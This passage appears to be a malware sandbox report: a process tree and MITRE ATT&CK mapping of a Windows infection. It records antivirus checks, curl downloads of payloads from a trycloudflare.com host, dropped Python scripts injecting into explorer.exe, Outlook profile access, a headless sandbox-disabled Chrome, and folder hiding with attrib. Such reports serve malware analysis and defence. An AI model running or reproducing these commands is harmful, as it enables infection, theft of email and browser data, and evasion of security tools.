        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3404
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq AvastUI.exe"
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3300
      - C:\Windows\system32\find.exe
        
        find /i "AvastUI.exe"
        6⤵
        
        PID:784
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq AvastSvc.exe"
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1464
      - C:\Windows\system32\find.exe
        
        find /i "AvastSvc.exe"
        6⤵
        
        PID:1212
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq avgui.exe"
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3680
      - C:\Windows\system32\find.exe
        
        find /i "avgui.exe"
        6⤵
        
        PID:692
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq AVGSvc.exe"
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2300
      - C:\Windows\system32\find.exe
        
        find /i "AVGSvc.exe"
        6⤵
        
        PID:2416
      - C:\Windows\system32\where.exe
        
        where curl
        6⤵
        
        PID:4044
      - C:\Windows\system32\curl.exe
        
        curl -f -L -s -o "C:\Users\Admin\Contacts\Exodus\3D3Z2DN.zip" "https://colin-vids-circulation-harper.trycloudflare.com/APRWEL1313.doh"
        6⤵
        
        PID:844
      - C:\Windows\system32\curl.exe
        
        curl -f -L -s -o "C:\Users\Admin\Contacts\Exodus\2D3Z2DN.zip" "https://colin-vids-circulation-harper.trycloudflare.com/APRWEL1313SB.fdn"
        6⤵
        
        PID:1696
      - C:\Windows\system32\curl.exe
        
        curl -f -L -s -o "C:\Users\Admin\Contacts\Exodus\PDP3Z2DN.zip" "https://colin-vids-circulation-harper.trycloudflare.com/python313.sdm"
        6⤵
        
        PID:644
      - C:\Windows\system32\curl.exe
        
        curl -f -L -s -o "C:\Users\Admin\Contacts\GS4R8DZ.ssd" "https://colin-vids-circulation-harper.trycloudflare.com/UpToDate.txt"
        6⤵
        
        PID:2160
      - C:\Windows\system32\where.exe
        
        where tar
        6⤵
        
        PID:4424
      - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\Contacts\Exodus\3D3Z2DN.zip" -C "C:\Users\Admin\Contacts\AdobeCollabSync\Callup"
        6⤵
        
        PID:1764
      - C:\Windows\system32\where.exe
        
        where tar
        6⤵
        
        PID:3448
      - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\Contacts\Exodus\2D3Z2DN.zip" -C "C:\Users\Admin\Contacts\AdobeCollabSync\ShareX"
        6⤵
        
        PID:2000
      - C:\Windows\system32\timeout.exe
        
        timeout /t 20 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:4288
      - C:\Windows\system32\where.exe
        
        where tar
        6⤵
        
        PID:5116
      - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\Contacts\Exodus\PDP3Z2DN.zip" -C "C:\Users\Admin\Contacts\AdobeCollabSync"
        6⤵
        
        PID:4596
      - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:3188
      - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:5060
      - C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe
        
        "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe" "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\MARch[092]ntp.py"
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of WriteProcessMemory
        
        PID:4368
      - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:2924
      - C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe
        
        "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe" "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\PL5[092]exp.py"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1256
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        Accesses Microsoft Outlook profiles
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        outlook_office_path
        outlook_win_path
        
        PID:1648
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn"
        8⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:3376
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffb2de1c728,0x7ffb2de1c734,0x7ffb2de1c740
        9⤵
        
        PID:2372
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1584,i,12696602954590306413,11657875126720642523,262144 --field-trial-handle=1908,i,7293740998574666999,5452657431109709437,262144 --variations-seed-version --mojo-platform-channel-handle=1904 /prefetch:2
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2928
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn" --force-high-res-timeticks=disabled --metrics-shmem-handle=1976,i,5721738024065126568,13767953179417684334,524288 --field-trial-handle=1908,i,7293740998574666999,5452657431109709437,262144 --variations-seed-version --mojo-platform-channel-handle=2036 /prefetch:11
        9⤵
        System Time Discovery
        
        PID:1252
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn" --force-high-res-timeticks=disabled --metrics-shmem-handle=2144,i,1726530306915526553,14455586016201007452,524288 --field-trial-handle=1908,i,7293740998574666999,5452657431109709437,262144 --variations-seed-version --mojo-platform-channel-handle=2908 /prefetch:13
        9⤵
        
        PID:5008
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2824,i,6796482207935915708,13679156290765762225,2097152 --field-trial-handle=1908,i,7293740998574666999,5452657431109709437,262144 --variations-seed-version --mojo-platform-channel-handle=2916 /prefetch:1
        9⤵
        
        PID:2548
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2832,i,11201872272196377647,8773756388926841618,2097152 --field-trial-handle=1908,i,7293740998574666999,5452657431109709437,262144 --variations-seed-version --mojo-platform-channel-handle=2928 /prefetch:1
        9⤵
        
        PID:3372
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3092,i,5983170602415746142,9592536879907033130,2097152 --field-trial-handle=1908,i,7293740998574666999,5452657431109709437,262144 --variations-seed-version --mojo-platform-channel-handle=3104 /prefetch:1
        9⤵
        
        PID:5116
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3120,i,16161430560948000271,13792488914871279510,2097152 --field-trial-handle=1908,i,7293740998574666999,5452657431109709437,262144 --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:9
        9⤵
        
        PID:3196
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3796,i,16606480682713823017,4261362009891439972,2097152 --field-trial-handle=1908,i,7293740998574666999,5452657431109709437,262144 --variations-seed-version --mojo-platform-channel-handle=3744 /prefetch:9
        9⤵
        
        PID:2844
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4132,i,3721832127476965552,12155963194389129529,2097152 --field-trial-handle=1908,i,7293740998574666999,5452657431109709437,262144 --variations-seed-version --mojo-platform-channel-handle=4144 /prefetch:1
        9⤵
        
        PID:3840
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn" --force-high-res-timeticks=disabled --metrics-shmem-handle=4116,i,735878475002647724,4174809915230579068,524288 --field-trial-handle=1908,i,7293740998574666999,5452657431109709437,262144 --variations-seed-version --mojo-platform-channel-handle=4160 /prefetch:14
        9⤵
        
        PID:228
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn" --force-high-res-timeticks=disabled --metrics-shmem-handle=4236,i,3038969681149887141,10886432862527958923,524288 --field-trial-handle=1908,i,7293740998574666999,5452657431109709437,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:14
        9⤵
        
        PID:4628
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\01pbwxwm.xgn" --force-high-res-timeticks=disabled --metrics-shmem-handle=4264,i,2164364787050884254,9205115151389363526,524288 --field-trial-handle=1908,i,7293740998574666999,5452657431109709437,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:14
        9⤵
        
        PID:5908
      - C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:1844
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[92]exp.py "
        6⤵
        
        PID:2024
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:4448
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[92]exp.py "
        6⤵
        
        PID:1420
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:5052
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[92]exp.py "
        6⤵
        
        PID:2924
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:5356
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[92]exp.py "
        6⤵
        
        PID:5872
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:4216
      - C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe
        
        "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe" "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\ACSRE[92]exp.py"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5884
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:5760
      - C:\Windows\system32\timeout.exe
        
        timeout /t 3 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:5644
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[93]exp.py "
        6⤵
        
        PID:2392
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:2256
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[93]exp.py "
        6⤵
        
        PID:4464
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:2512
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[93]exp.py "
        6⤵
        
        PID:4284
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:3100
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[93]exp.py "
        6⤵
        
        PID:5792
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:1584
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[92]iexp.py "
        6⤵
        
        PID:3184
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:4180
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[92]iexp.py "
        6⤵
        
        PID:4208
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:5440
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[92]iexp.py "
        6⤵
        
        PID:5640
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:5548
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[92]iexp.py "
        6⤵
        
        PID:4596
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:5712
      - C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe
        
        "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe" "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\ANAS[92]iexp.py"
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:4028
      - C:\Windows\system32\timeout.exe
        
        timeout /t 3 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:2008
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[93]iexp.py "
        6⤵
        
        PID:656
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:2160
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[93]iexp.py "
        6⤵
        
        PID:4308
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:5400
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[93]iexp.py "
        6⤵
        
        PID:5660
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:6104
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[93]iexp.py "
        6⤵
        
        PID:5000
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:3192
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo MARch[093]ntp.py "
        6⤵
        
        PID:1896
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:3440
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo MARch[093]ntp.py "
        6⤵
        
        PID:5868
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:5156
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo MARch[093]ntp.py "
        6⤵
        
        PID:6040
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:5828
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo MARch[093]ntp.py "
        6⤵
        
        PID:4400
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:4452
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo PL5[093]exp.py "
        6⤵
        
        PID:1160
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:232
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo PL5[093]exp.py "
        6⤵
        
        PID:3324
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:5900
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo PL5[093]exp.py "
        6⤵
        
        PID:2984
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:5892
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo PL5[093]exp.py "
        6⤵
        
        PID:2336
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:3684
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "Get-CimInstance Win32_Process -Filter \"Name='explorer.exe'\" | ForEach-Object { try { $p = Get-Process -Id $_.ParentProcessId -ErrorAction Stop; if ($p.ProcessName -eq 'python') { Stop-Process -Id $p.Id -Force } } catch { } }"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4224
      - C:\Windows\system32\attrib.exe
        
        attrib +h "C:\Users\Admin\Contacts\AdobeCollabSync"
        6⤵
        Views/modifies file attributes
        
        PID:5528
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:1684
- C:\Windows\System32\iexpress.exe
  C:\Windows\System32\iexpress.exe
  2⤵
  PID:1452

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5328

C:\Windows\explorer.exe
explorer.exe
1⤵
- Boot or Logon Autostart Execution: Active Setup
- Modifies registry class
PID:5188

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:6068

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
PID:1876

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...